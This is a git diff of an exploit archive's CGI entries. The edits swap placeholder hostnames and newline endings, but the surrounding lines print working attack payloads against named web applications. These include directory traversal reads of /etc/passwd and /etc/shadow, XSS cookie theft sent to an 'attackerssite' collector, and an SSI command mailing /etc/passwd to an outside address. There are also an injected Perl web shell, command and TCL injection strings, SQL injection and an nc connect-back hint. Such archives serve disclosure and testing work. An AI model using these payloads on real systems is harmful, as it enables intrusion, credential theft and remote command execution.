b/platforms/cgi/remote/21102.txt @@ -4,4 +4,4 @@ Power Up HTML is a set of HTML-like commands that can be placed into web pages. A vulnerability exists in Power Up HTML which allows directory traversal through the web server using ../ strings in a CGI request. This directory traversal can be used to view or execute arbitrary files on the webserver to which the web service has permissions. Failure to filter metacharacters from HTTP requests can allow user-supplied values to run. -http://server/cgi-bin/powerup/r.cgi?FILE=../../../../../etc/passwd \ No newline at end of file +http://www.target.com/cgi-bin/powerup/r.cgi?FILE=../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/remote/21129.java b/platforms/cgi/remote/21129.java index 3207728fa..bc70afc62 100755 --- a/platforms/cgi/remote/21129.java +++ b/platforms/cgi/remote/21129.java @@ -58,7 +58,7 @@ public class IBillHack { if (args.length != 6) { System.err.println("Usage: java IBillHack <target_hostname> </path/to/cgi-bin/ibillpm.pl> " + "<add|delete|chgpwd> <username> <password> <master_account>"); - System.err.println("Example: java IBillHack www.someserver /cgi-bin/ibillpm.pl add bob 1pass 123456"); + System.err.println("Example: java IBillHack www.somesite.com /cgi-bin/ibillpm.pl add bob 1pass 123456"); System.exit(1); } diff --git a/platforms/cgi/remote/21183.txt b/platforms/cgi/remote/21183.txt index c808fd1ab..801fa1adf 100755 --- a/platforms/cgi/remote/21183.txt +++ b/platforms/cgi/remote/21183.txt @@ -6,4 +6,4 @@ Webmin does not adequately filter '../' sequences from web requests, making it p It may also be possible to edit files or place files on the server. This may lead to a remote root compromise. -http://www.domain.com:10000/servers/link.cgi/1008341480/init/edit_action.cgi?0+../../../../../etc/shadow \ No newline at end of file +http://www.domain.com:10000/servers/link.cgi/1008341480/init/edit_action.cgi?0+../../../../../etc/shadow \ No newline at end of file diff --git a/platforms/cgi/remote/21194.txt b/platforms/cgi/remote/21194.txt index e0157f663..4e26eb633 100755 --- a/platforms/cgi/remote/21194.txt +++ b/platforms/cgi/remote/21194.txt @@ -6,4 +6,4 @@ zml.cgi accepts as a parameter the file to parse for these ssi directives. This The author of the script has reported that this vulnerability does not exist in any published version of ZML, and that the file parameter has never been used by ZML. It is possible that this vulnerability exists in a modified version of ZML published by an unknown third party. If more details become available, this vulnerability will be updated. -http://www.blackshell.com/cgi-bin/zml.cgi?file=../../../../../../../../../etc/motd%00 \ No newline at end of file +http://www.blackshell.com/cgi-bin/zml.cgi?file=../../../../../../../../../etc/motd%00 \ No newline at end of file diff --git a/platforms/cgi/remote/21287.pl b/platforms/cgi/remote/21287.pl index 652bad8a9..58851e3dd 100755 --- a/platforms/cgi/remote/21287.pl +++ b/platforms/cgi/remote/21287.pl @@ -28,10 +28,10 @@ $usage = Recommended [-300,+300] example) - ez2crazy.pl http://server:8080/cgi-bin/vulnerable.cgi - ez2crazy.pl -o -47 server/cgi-bin/vulnerable.cgi + ez2crazy.pl http://target.com:8080/cgi-bin/vulnerable.cgi + ez2crazy.pl -o -47 target.com/cgi-bin/vulnerable.cgi ez2crazy.pl -c 'echo vulnerable.cgi has a security hole! | mail root' \\ - server/cgi-bin/vulnerable.cgi + target.com/cgi-bin/vulnerable.cgi "; diff --git a/platforms/cgi/remote/21354.txt b/platforms/cgi/remote/21354.txt index f20054d26..fe29d6b1c 100755 --- a/platforms/cgi/remote/21354.txt +++ b/platforms/cgi/remote/21354.txt @@ -35,4 +35,4 @@ URL Encoded as: csSearch.cgi?command=savesetup&setup=*ShowSearchForm%3D*Login%3Dsub{print"<form+method%3Dpost+action%3DcsSearch.cgi>Enter+Comm and+(example:+ls+-l)<br><input+type%3Dtext+name%3Dcmd+size%3D99>+<input+type%3Dsubmit+value%3DExecute><hr><xmp>";$in{'cmd'}%26 -%26print`$in{'cmd'}+2>%261`;exit;}; \ No newline at end of file +%26print`$in{'cmd'}+2>%261`;exit;}; \ No newline at end of file diff --git a/platforms/cgi/remote/21390.txt b/platforms/cgi/remote/21390.txt index 7dc9eb538..ae324cbb5 100755 --- a/platforms/cgi/remote/21390.txt +++ b/platforms/cgi/remote/21390.txt @@ -4,4 +4,4 @@ An issue has been discovered in Sambar Server, which could allow a user to revea Submitting a request for a known script file along with a space and null character (%00), will successfully bypass the serverside URL parsing. -http://server/cgi-bin/environ.pl+%00 \ No newline at end of file +http://server/cgi-bin/environ.pl+%00 \ No newline at end of file diff --git a/platforms/cgi/remote/22000.txt b/platforms/cgi/remote/22000.txt index 354fd7a4c..258d31021 100755 --- a/platforms/cgi/remote/22000.txt +++ b/platforms/cgi/remote/22000.txt @@ -6,4 +6,4 @@ Due to insufficient sanitization of user-supplied input it is possible for an at The vendor has stated that cookies are not used to store usernames and passwords. -http://hostname:9090/apps/web/index.fcgi?servers=&section=<script>alert(document.cookie)</script> \ No newline at end of file +http://hostname:9090/apps/web/index.fcgi?servers=&section=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/cgi/remote/22312.txt b/platforms/cgi/remote/22312.txt index 9e51bd757..883a73a37 100755 --- a/platforms/cgi/remote/22312.txt +++ b/platforms/cgi/remote/22312.txt @@ -4,4 +4,4 @@ A file retrieval vulnerability has been reported for QuickTime/Darwin Streaming This vulnerability was tested on SS for Microsoft Windows systems. -http://localhost:1220/parse_xml.cgi?filename=.../qtusers \ No newline at end of file +http://localhost:1220/parse_xml.cgi?filename=.../qtusers \ No newline at end of file diff --git a/platforms/cgi/remote/22542.txt b/platforms/cgi/remote/22542.txt index b790ff5ff..3d1127a47 100755 --- a/platforms/cgi/remote/22542.txt +++ b/platforms/cgi/remote/22542.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/7439/info Reportedly, remote users can discover the installation directory of certain software on the underlying system by submitting an HTTP request to the WebAdmin server. This could allow an attacker to obtain sensitive information. -http://www.example.com/WebAdmin.dll?session=X&Program=MDaemon&Directory:Name=C:\MDaemon\App&File:Name=MDAEMON.INI&View=EditFile \ No newline at end of file +http://www.example.com/WebAdmin.dll?session=X&Program=MDaemon&Directory:Name=C:\MDaemon\App&File:Name=MDAEMON.INI&View=EditFile \ No newline at end of file diff --git a/platforms/cgi/remote/23187.txt b/platforms/cgi/remote/23187.txt index d94073476..c7e4ce499 100755 --- a/platforms/cgi/remote/23187.txt +++ b/platforms/cgi/remote/23187.txt @@ -18,4 +18,4 @@ site's Webmaster (root@example.com). Stat failed. /home/jcf/cgi-bin/a.pl: No such file or directory sbox version 1.04 -$Id: sbox.c,v 1.9 2000/03/28 20:12:40 lstein Exp $ \ No newline at end of file +$Id: sbox.c,v 1.9 2000/03/28 20:12:40 lstein Exp $ \ No newline at end of file diff --git a/platforms/cgi/remote/23304.txt b/platforms/cgi/remote/23304.txt index 473c3a0d0..4cbb6b9a2 100755 --- a/platforms/cgi/remote/23304.txt +++ b/platforms/cgi/remote/23304.txt @@ -6,4 +6,4 @@ Successful exploitation of this attack may allow an attacker to steal cookie-bas Norton Internet Security 2003 v6.0.4.34 has been reported to be prone to this issue, however other versions may be affected as well. -http://www.example.com/page.cgi?<SCRIPT>alert(document.domain)</SCRIPT> \ No newline at end of file +http://www.example.com/page.cgi?<SCRIPT>alert(document.domain)</SCRIPT> \ No newline at end of file diff --git a/platforms/cgi/remote/23312.txt b/platforms/cgi/remote/23312.txt index 60a2ee8da..5c78b2f1b 100755 --- a/platforms/cgi/remote/23312.txt +++ b/platforms/cgi/remote/23312.txt @@ -8,4 +8,4 @@ A denial of service condition could be caused in the software by providing a dev A cross-site scripting vulnerability has also been reported to exist in the software due to insufficient santization of user-supplied input to INIFILE. This problem presents itself when an invalid file name is supplied as an argument for INIFILE. This vulnerability could be exploited to steal cookie-based credentials. Other attacks are possible as well. -http://www.example.com/udataobj/webgui/cgi-bin/tuxadm.exe?INIFILE=<script>alert('XSS')</script> \ No newline at end of file +http://www.example.com/udataobj/webgui/cgi-bin/tuxadm.exe?INIFILE=<script>alert('XSS')</script> \ No newline at end of file diff --git a/platforms/cgi/remote/23582.txt b/platforms/cgi/remote/23582.txt index 27af670b8..2e4867259 100755 --- a/platforms/cgi/remote/23582.txt +++ b/platforms/cgi/remote/23582.txt @@ -4,4 +4,4 @@ thttpd is prone to a cross-site scripting vulnerability in the CGI test script. It should be noted that FREESCO includes an embedded version of thttpd and is also prone to this vulnerability. -http://www.example.com/cgi/example?test=<script>alert('xss')</script> \ No newline at end of file +http://www.example.com/cgi/example?test=<script>alert('xss')</script> \ No newline at end of file diff --git a/platforms/cgi/remote/25648.txt b/platforms/cgi/remote/25648.txt index 75afef956..acb26adc4 100755 --- a/platforms/cgi/remote/25648.txt +++ b/platforms/cgi/remote/25648.txt @@ -11,4 +11,4 @@ ping ;sh traceroute ;sh https://www.example.com/nslookup.cgi?ip=localhost%26%26cat%20/stand/htdocs/config/admin -https://www.example.com/ping.cgi?ip=localhost%26%26touch+/tmp/test \ No newline at end of file +https://www.example.com/ping.cgi?ip=localhost%26%26touch+/tmp/test \ No newline at end of file diff --git a/platforms/cgi/remote/26768.txt b/platforms/cgi/remote/26768.txt index d92bc1ef0..2dc04d57e 100755 --- a/platforms/cgi/remote/26768.txt +++ b/platforms/cgi/remote/26768.txt @@ -8,4 +8,4 @@ http://www.example.com/cgi-bin/perlcal/cal_make.pl ?p0=%3Cscript%3Ewindow.open('http://www.example.com');%3Cscript%3E<http://www.example.com%27%29;%3Cscript%3E> http://www.example.com/cgi-bin/perlcal/cal_make.pl -?p0=%3Cscript%3Ealert(document.cookie);</script> \ No newline at end of file +?p0=%3Cscript%3Ealert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/cgi/remote/32962.txt b/platforms/cgi/remote/32962.txt index 034a36ee1..422864ee1 100755 --- a/platforms/cgi/remote/32962.txt +++ b/platforms/cgi/remote/32962.txt @@ -33,4 +33,4 @@ HTTP request to access other internal IP addresses configured on the private LAN GET http://10.0.0.1/ HTTP/1.1 Host: 192.168.0.1:2128 -[...] \ No newline at end of file +[...] \ No newline at end of file diff --git a/platforms/cgi/remote/34777.rb b/platforms/cgi/remote/34777.rb index 28a8d1891..3d05e05af 100755 --- a/platforms/cgi/remote/34777.rb +++ b/platforms/cgi/remote/34777.rb @@ -1,4 +1,4 @@ -require 'msf/core' + require 'msf/core' class Metasploit3 < Msf::Auxiliary diff --git a/platforms/cgi/webapps/1039.pl b/platforms/cgi/webapps/1039.pl index 2454022a5..9bbabc45c 100755 --- a/platforms/cgi/webapps/1039.pl +++ b/platforms/cgi/webapps/1039.pl @@ -64,7 +64,7 @@ print $sock2 $req2; sleep(100); -print "\n\n$$$ OK -- Now Try: Nc -v www.server 4444 $$$\n"; +print "\n\n$$$ OK -- Now Try: Nc -v www.Site.com 4444 $$$\n"; print "$$ if This Port was Close , This mean is That , You Haven't Permission to Write in /TMP $$\n"; print "Enjoy ;)"; ### EOF ### diff --git a/platforms/cgi/webapps/15987.py b/platforms/cgi/webapps/15987.py index 689852895..5dc61d672 100755 --- a/platforms/cgi/webapps/15987.py +++ b/platforms/cgi/webapps/15987.py @@ -44,7 +44,7 @@ Tested on SiteScape Enterprise Forums version 7, others may be vulnerable. TCL Code Injection: ------------------- ++ Replace "ping www.attacker.com" with something useful -http://www.webserver/dispatch.cgi/0;set fl [open "|ping www.attacker.com" ] +http://www.website.com/dispatch.cgi/0;set fl [open "|ping www.attacker.com" ] References: diff --git a/platforms/cgi/webapps/18722.txt b/platforms/cgi/webapps/18722.txt index faa673041..b565113eb 100755 --- a/platforms/cgi/webapps/18722.txt +++ b/platforms/cgi/webapps/18722.txt @@ -11,4 +11,4 @@ </html> ################################################################################################## password ======> 123456 Now you can get the username & the password------------------------------------------------------Contact :Oeb1590@hotmail.comFacebook : Https:\www.facebook.com\Want.Revenge - \|||/ .-.________ (o o) ________.-. -----/ \_)_______) +----------oooO------------+ (_______(_/ \------ ( ()___) The Blacke Devils (___() ) ()__) (__() ----\___()_) Algeria Warriors (_()___/----- +-------------Ooo----------+ In:Arab47.com \ No newline at end of file + \|||/ .-.________ (o o) ________.-. -----/ \_)_______) +----------oooO------------+ (_______(_/ \------ ( ()___) The Blacke Devils (___() ) ()__) (__() ----\___()_) Algeria Warriors (_()___/----- +-------------Ooo----------+ In:Arab47.com \ No newline at end of file diff --git a/platforms/cgi/webapps/21184.txt b/platforms/cgi/webapps/21184.txt index 08632b172..44ab7e564 100755 --- a/platforms/cgi/webapps/21184.txt +++ b/platforms/cgi/webapps/21184.txt @@ -8,4 +8,4 @@ As a result, it is possible for an attacker to construct a link to the script th This issue may be exploited to by an attacker to steal cookie-based authentication credentials, permitting the attacker to hijack an Agora.cgi session and perform actions as a legitimate user. A number of other cross-site scripting attacks are also possible. -http://agorasite/store/agora.cgi?cart_id=<script>alert(document.cookie)</script>&xm=on&product=HTML \ No newline at end of file +http://agorasite/store/agora.cgi?cart_id=<script>alert(document.cookie)</script>&xm=on&product=HTML \ No newline at end of file diff --git a/platforms/cgi/webapps/21187.txt b/platforms/cgi/webapps/21187.txt index 7aa97b1d6..ae98ce1f8 100755 --- a/platforms/cgi/webapps/21187.txt +++ b/platforms/cgi/webapps/21187.txt @@ -8,4 +8,4 @@ The impact of this issue is that the attacker is able to hijack a legitimate web Aktivate 1.03 is known to be vulnerable, other versions may also be affected. -https://host/aktivate/cgi-bin/catgy.cgi?key=0&cartname=axa200135022551089&desc=<script>alert(document.domain)</script> \ No newline at end of file +https://host/aktivate/cgi-bin/catgy.cgi?key=0&cartname=axa200135022551089&desc=<script>alert(document.domain)</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/21208.txt b/platforms/cgi/webapps/21208.txt index efcec0a6b..14d6f54b0 100755 --- a/platforms/cgi/webapps/21208.txt +++ b/platforms/cgi/webapps/21208.txt @@ -10,4 +10,4 @@ This makes it possible for a malicious user to post a message which is capable o ('&#x3cimg src=&#x68;tt&#x70;://attackerssite/tools/cookie.plx?cookie='+escape(docu ment.cookie)+'&#x3e') -[/img] \ No newline at end of file +[/img] \ No newline at end of file diff --git a/platforms/cgi/webapps/21209.txt b/platforms/cgi/webapps/21209.txt index 6a7bdc4c0..087cd1d34 100755 --- a/platforms/cgi/webapps/21209.txt +++ b/platforms/cgi/webapps/21209.txt @@ -11,4 +11,4 @@ The following example will send cookie-based authentication credentials to the a [IMG]javascr&#x69;pt:document.wr&#x69;te &#x28;'<img%20src=&#x68;tt&#x70;://attackersite/tools/cookie.plx? cookie='+escape&#x28;document.cook&#x69;e&#x29;+'>'&#x29; -[/IMG] \ No newline at end of file +[/IMG] \ No newline at end of file diff --git a/platforms/cgi/webapps/21352.txt b/platforms/cgi/webapps/21352.txt index c143facf0..15108850d 100755 --- a/platforms/cgi/webapps/21352.txt +++ b/platforms/cgi/webapps/21352.txt @@ -6,4 +6,4 @@ It is possible to overwrite setup files (*.setup) by submitting attacker-supplie curl -F database=@test.txt http://host/cgi-bin/dcshop.cgi -where test.txt contains databasename.setup[nullbyte]. \ No newline at end of file +where test.txt contains databasename.setup[nullbyte]. \ No newline at end of file diff --git a/platforms/cgi/webapps/21374.txt b/platforms/cgi/webapps/21374.txt index 18e8dc613..69d1497e5 100755 --- a/platforms/cgi/webapps/21374.txt +++ b/platforms/cgi/webapps/21374.txt @@ -6,4 +6,4 @@ A vulnerability has been reported in some versions of Web Datablade. Reportedly, There have been reports that a similar issue exists within the HTTP Basic Authentication process used by Web Datablade, which also submits queries to the database. However, detailed exploitation information is not available for this case. -http://victim.com/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html \ No newline at end of file +http://victim.com/site/' UNION ALL SELECT FileToClob('/etc/passwd','server')::html,0 FROM sysusers WHERE username = USER --/.html \ No newline at end of file diff --git a/platforms/cgi/webapps/21433.txt b/platforms/cgi/webapps/21433.txt index 3cc31296e..e0d633f8f 100755 --- a/platforms/cgi/webapps/21433.txt +++ b/platforms/cgi/webapps/21433.txt @@ -13,4 +13,4 @@ or When posting comments just insert the <script>alert('evil+java+script+here')</script> -to the comments field. \ No newline at end of file +to the comments field. \ No newline at end of file diff --git a/platforms/cgi/webapps/21480.txt b/platforms/cgi/webapps/21480.txt index 78b1786ec..b0c6c8f7c 100755 --- a/platforms/cgi/webapps/21480.txt +++ b/platforms/cgi/webapps/21480.txt @@ -4,4 +4,4 @@ GNU Mailman is prone to a cross-site scripting vulnerability. An attacker may co A user visiting the link will have the attacker's script code executed in their web browser in the context of the site running the vulnerable software. -http://target/mailman_directory/admin/ml-name?adminpw="></form><form/action="http://attackerhost/attackerscript.cgi"/method="post"><br \ No newline at end of file +http://target/mailman_directory/admin/ml-name?adminpw="></form><form/action="http://attackerhost/attackerscript.cgi"/method="post"><br \ No newline at end of file diff --git a/platforms/cgi/webapps/21494.txt b/platforms/cgi/webapps/21494.txt index 5461ab9f2..d99225ee0 100755 --- a/platforms/cgi/webapps/21494.txt +++ b/platforms/cgi/webapps/21494.txt @@ -6,4 +6,4 @@ A vulnerability has been reported in the csPassword.cgi script developed by CGIS http://target/csPassword.cgi?command=remove -This will cause csPassword to execute the remove() function. This function is not defined and thus will cause an error page to be displayed. \ No newline at end of file +This will cause csPassword to execute the remove() function. This function is not defined and thus will cause an error page to be displayed. \ No newline at end of file diff --git a/platforms/cgi/webapps/21495.txt b/platforms/cgi/webapps/21495.txt index 8cb47e285..a9d8cb8bc 100755 --- a/platforms/cgi/webapps/21495.txt +++ b/platforms/cgi/webapps/21495.txt @@ -6,4 +6,4 @@ A vulnerability has been reported in the csPassword.cgi script developed by CGIS javascript:void(document.form1.title.outerHTML="<textarea name=title>&lt;/textarea&gt;"); -Adding the javascript as part of the URL will change the text field into a textbox allowing users to enter newlines and other characters. \ No newline at end of file +Adding the javascript as part of the URL will change the text field into a textbox allowing users to enter newlines and other characters. \ No newline at end of file diff --git a/platforms/cgi/webapps/21532.txt b/platforms/cgi/webapps/21532.txt index d272e0d54..a7ff772cd 100755 --- a/platforms/cgi/webapps/21532.txt +++ b/platforms/cgi/webapps/21532.txt @@ -6,4 +6,4 @@ Users with "public" access to the system may be able to view and modify some adm CSNews.cgi?database=default%2edb&command=showadv&mpage=manager -CSNews.cgi?command=manage&database=default%2edb&mpage=manager \ No newline at end of file +CSNews.cgi?command=manage&database=default%2edb&mpage=manager \ No newline at end of file diff --git a/platforms/cgi/webapps/21533.txt b/platforms/cgi/webapps/21533.txt index 42743fda9..5d6d778f0 100755 --- a/platforms/cgi/webapps/21533.txt +++ b/platforms/cgi/webapps/21533.txt @@ -6,4 +6,4 @@ It is possible for a malicious admin user to bypass file type restrictions on th The ability to exploit this vulnerability may only require "public" access to csNews if used in conjunction with issues discussed in BID 4993. -javascript:alert(document.form1.pheader.value='setup.cgi'); \ No newline at end of file +javascript:alert(document.form1.pheader.value='setup.cgi'); \ No newline at end of file diff --git a/platforms/cgi/webapps/21535.txt b/platforms/cgi/webapps/21535.txt index 2bd91c26a..a526e7ce3 100755 --- a/platforms/cgi/webapps/21535.txt +++ b/platforms/cgi/webapps/21535.txt @@ -8,4 +8,4 @@ Name: <!--#exec cmd="/bin/mail address@host < /etc/passwd"--> HTML Injection example: -Name: <img src="javascript:alert('test');"> \ No newline at end of file +Name: <img src="javascript:alert('test');"> \ No newline at end of file diff --git a/platforms/cgi/webapps/21553.txt b/platforms/cgi/webapps/21553.txt index c6424c509..0a47826bd 100755 --- a/platforms/cgi/webapps/21553.txt +++ b/platforms/cgi/webapps/21553.txt @@ -4,4 +4,4 @@ NetAuction does not filter HTML code from URI parameters, making it prone to cro http://www.xxxx.com/cgi-bin/auction/auction.cgi?action=Sort_Page&View=Search &Page=0&Cat_ID=&Lang=English&Search=All&Terms=<script>alert('OopS');</script>& -Where=&Sort=Photo&Dir= \ No newline at end of file +Where=&Sort=Photo&Dir= \ No newline at end of file diff --git a/platforms/cgi/webapps/21558.txt b/platforms/cgi/webapps/21558.txt index 4a8748551..8ddd8b10d 100755 --- a/platforms/cgi/webapps/21558.txt +++ b/platforms/cgi/webapps/21558.txt @@ -4,4 +4,4 @@ My Postcards is a commercial available eletronic postcard system. It is availabl The magiccard.cgi script does not properly handle some types of input. As a result, it may be possible for a remote user to specify the location of a specific file on the system hosting the My Postcards software. Upon specifying the location of a file that is readable by the web server process, the user could disclose the contents of the specified file. -http://www.example.com/cgi-bin/magiccard.cgi?pa=preview&next=custom&page=../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/cgi-bin/magiccard.cgi?pa=preview&next=custom&page=../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/21573.txt b/platforms/cgi/webapps/21573.txt index 0460d620a..f5f43d96d 100755 --- a/platforms/cgi/webapps/21573.txt +++ b/platforms/cgi/webapps/21573.txt @@ -6,4 +6,4 @@ YaBB fails to check URLs for the presence of script commands when generating err This issue may be exploited to steal cookie-based authentication credentials from legitimate users of YaBB. -http://some.server/cgi-bin/YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert()</script> \ No newline at end of file +http://some.site.com/cgi-bin/YaBB/YaBB.cgi?board=BOARD&action=display&num=<script>alert()</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/21587.txt b/platforms/cgi/webapps/21587.txt index 8142dbd3d..c9b3191b3 100755 --- a/platforms/cgi/webapps/21587.txt +++ b/platforms/cgi/webapps/21587.txt @@ -4,4 +4,4 @@ Betsie (BBC Education Text to Speech Internet Enhancer) is prone to a cross-site Attackers may exploit this condition via a malicious link to a site running the vulnerable software. Successful exploitation will enable an attacker to cause script code to be executed in the web browser of a user who visits the malicious link. -http://server/cgi-bin/betsie/parserl.pl/<script>alert("eek!")</script> \ No newline at end of file +http://server/cgi-bin/betsie/parserl.pl/<script>alert("eek!")</script> \ No newline at end of file diff --git a/platforms/cgi/webapps/21588.txt b/platforms/cgi/webapps/21588.txt index 2abb39bda..b49972c74 100755 --- a/platforms/cgi/webapps/21588.txt +++ b/platforms/cgi/webapps/21588.txt @@ -6,4 +6,4 @@ Attackers may exploit this condition via a malicious link to a site running the It has been reported that there other instances where Blackboard fails to sanitize arbitrary HTML and script code. -http://target/bin/login.pl?course_id=">&lt;SCRIPT&gt;alert()&lt;/SCRIPT&gt; \ No newline at end of file +http://target/bin/login.pl?course_id=">&lt;SCRIPT&gt;alert()&lt;/SCRIPT&gt; \ No newline at end of file diff --git a/platforms/cgi/webapps/21609.txt b/platforms/cgi/webapps/21609.txt index 9f5ba5046..2175e64c9 100755 --- a/platforms/cgi/webapps/21609.txt +++ b/platforms/cgi/webapps/21609.txt @@ -4,4 +4,4 @@ Fluid Dynamics Search Engine is a search application for local and remote web si It is possible for attackers to construct a URL that will cause scripting code to be embedded in a search results page. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site. -http://www.xav.com/search.pl?Realm=All&Match=0&Terms=test&nocpp=1&maxhits=10&Rank=<br><h1>XSS</h1> \ No newline at end of file +http://www.xav.com/search.pl?Realm=All&Match=0&Terms=test&nocpp=1&maxhits=10&Rank=<br><h1>XSS</h1> \ No newline at end of file diff --git a/platforms/cgi/webapps/21617.txt b/platforms/cgi/webapps/21617.txt index 532f85fd8..3d4ec4ca8 100755 --- a/platforms/cgi/webapps/21617.txt +++ b/platforms/cgi/webapps/21617.txt @@ -6,4 +6,4 @@ A vulnerability has been reported in the IMHO Roxen webmail module which may ena - Logout - Goto URL : (((webmail_URL)))/(old_error,plain)/mail/error?error=1 -This will cause the webserver to display a REFERER. This REFERER may be submitted to access another user's session. \ No newline at end of file +This will cause the webserver to display a REFERER. This REFERER may be submitted to access another user's session. \ No newline at end of file diff --git a/platforms/cgi/webapps/21658.html b/platforms/cgi/webapps/21658.html index db7ad2137..7baae9561 100755 --- a/platforms/cgi/webapps/21658.html +++ b/platforms/cgi/webapps/21658.html @@ -17,4 +17,4 @@ Please type your messages in here. </tr> </FORM> </table> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/cgi/webapps/21659.html b/platforms/cgi/webapps/21659.html index 893f9ac18..d1c332ca1 100755 --- a/platforms/cgi/webapps/21659.html +++ b/platforms/cgi/webapps/21659.html @@ -11,4 +11,4 @@ Open Administration Guestbook: <input type="submit" value="Back to Admin" name=" nt-weight: bold"> </form> </body> -</html> \ No newline at end of file +</html> \ No newline at end of file diff --git a/platforms/cgi/webapps/21768.txt b/platforms/cgi/webapps/21768.txt index 020a229f8..a27c542c6 100755 --- a/platforms/cgi/webapps/21768.txt +++ b/platforms/cgi/webapps/21768.txt @@ -6,4 +6,4 @@ A remote attacker may exploit this condition to execute arbitrary commands on th Simple Site Searcher, released by the same vendor, is also prone to this issue. -http://target/searchenginepath/site_searcher.cgi?page=|command| \ No newline at end of file +http://target/searchenginepath/site_searcher.cgi?page=|command| \ No newline at end of file diff --git a/platforms/cgi/webapps/21769.txt b/platforms/cgi/webapps/21769.txt index f49864e52..6c7893199 100755 --- a/platforms/cgi/webapps/21769.txt +++ b/platforms/cgi/webapps/21769.txt @@ -8,4 +8,4 @@ It is possible to create a malicious link to the server which will generate an e http://www.example.com/pages/htmlos/%3Cscript%3Ealert(document.domain);%3C/script%3E http://www.example.com/cgi-bin/erba/start/%3Cscript%3Ealert(document.domain);%3C/script%3E -http://www.exmaple.com/cgi-bin/start.cgi/%3Cscript%3Ealert(document.domain);%3C/script%3E \ No newline at end of file +http://www.exmaple.com/cgi-bin/start.cgi/%3Cscript%3Ealert(document.domain);%3C/script%3E \ No newline at end of file diff --git a/platforms/cgi/webapps/21962.txt b/platforms/cgi/webapps/21962.txt index a9e86ee4c..ba0fd8bfc 100755 --- a/platforms/cgi/webapps/21962.txt +++ b/platforms/cgi/webapps/21962.txt @@ -6,4 +6,4 @@ As a result, it is possible for a remote attacker to create a malicious link con This issue may be exploited to steal cookie-based authentication credentials from legitimate users of the website running the vulnerable software. -http://www.example.com/cgi-bin/mojo/mojo.cgi?flavor=subscribe&email=%3Cscript%3Ealert%28%22XSS%20Vuln.%22%29%3C%2Fscript%3E&list=skazat_design_newsletter&submit=Submit \ No newline at end of file +http://www.example.com/cgi-bin/mojo/mojo.cgi?flavor=subscribe&email=%3Cscript%3Ealert%28%22XSS%20Vuln.%22%29%3C%2Fscript%3E&list=skazat_design_newsletter&submit=Submit \ No newline at end of file diff --git a/platforms/cgi/webapps/21966.txt b/platforms/cgi/webapps/21966.txt index 177dea041..f856e0338 100755 --- a/platforms/cgi/webapps/21966.txt +++ b/platforms/cgi/webapps/21966.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6055/info A vulnerability exists in Mailreader.com which may enable remote attackers to disclose the contents of arbitrary webserver readable files. An attacker may exploit this issue by submitting a malicious web request containing dot-dot-slash (../) directory traversal sequences. The request must be for a known resource, and the file request must be appended by a null byte (%00). -http://www.example.com/cgi-bin/mail/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/cgi-bin/mail/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/cgi/webapps/21979.txt b/platforms/cgi/webapps/21979.txt index 67705b8ab..6b36530e7 100755 --- a/platforms/cgi/webapps/21979.txt +++ b/platforms/cgi/webapps/21979.txt @@ -12,4 +12,4 @@ It is not yet known which ION Script packages are vulnerable to this issue. http://www.example.com/cgi-bin/ion-p.exe?page=c:\winnt\repair\sam -http://www.example.com/cgi-bin/ion-p?page=../../../../../etc/hosts \ No newline at end of file +http://www.example.com/cgi-bin/ion-p?page=../../../../../etc/hosts \ No newline at end of file diff --git a/platforms/cgi/webapps/21995.txt b/platforms/cgi/webapps/21995.txt index 30a33a84d..b7f0c2a3e 100755 --- a/platforms/cgi/webapps/21995.txt +++ b/platforms/cgi/webapps/21995.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6127/info It has been reported that the default configuration of CuteCast is insecure. According to the report, CuteCast stores user information in a publicly accessible directory. This includes plaintext credentials. -http://www.example.com/cgi-bin/cutecast/members/<username>.user \ No newline at end of file +http://www.example.com/cgi-bin/cutecast/members/<username>.user \ No newline at end of file diff --git a/platforms/cgi/webapps/22015.txt b/platforms/cgi/webapps/22015.txt index 206fa7691..f8a6fd2c1 100755 --- a/platforms/cgi/webapps/22015.txt +++ b/platforms/cgi/webapps/22015.txt @@ -2,4 +2,4 @@ source: http://www.securityfocus.com/bid/6170/info Versions of W3Mail 1.0.6 and greater are susceptible to a file disclosure vulnerability. To view attachments, the script "viewAttachment.cgi" accepts the parameter "file". The value of this parameter is passed to the open() function as the filename argument without being sanitized. Attackers may cause any file on the filesystem to open by specifying its relative path using directory traversal characters. -viewAttachment.cgi?file=../../../../../etc/passwd \ No newline at end of file +viewAttachment.cgi?file=../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/cgi/webapps/22045.txt b/platforms/cgi/webapps/22045.txt index cb65838fa..bb3f4c6e8 100755 --- a/platforms/cgi/webapps/22045.txt +++ b/platforms/cgi/webapps/22045.txt @@ -3,4 +3,4 @@ source: http://www.securityfocus.com/bid/6253/info The ext.dll ISAPI does not sufficiently sanitize user-supplied input when processing search queries. This may allow an attacker to create a custom URL containing script code that, when viewed in a browser by a legitimate user, will result in the execution of the script code. ');alert(document.cookie);// -')" style="left:expression(eval('alert(document.cookie)'))"> \ No newline at end of file +')" style="left:expression(eval('alert(document.cookie)'))"> \ No newline at end of file diff --git a/platforms/cgi/webapps/22137.txt b/platforms/cgi/webapps/22137.txt index 9c96ee912..e7967cf6f 100755 --- a/platforms/cgi/webapps/22137.txt +++ b/platforms/cgi/webapps/22137.txt @@ -6,4 +6,4 @@ The FormMail-clone script does not sufficiently sanitize HTML tags and script co This vulnerability was originally reported in FormMail. Additional reports have indicated that the issue actually exists in FormMail-clone, which is an entirely different program which is designed to perform the same function as FormMail but contains none of the original code. 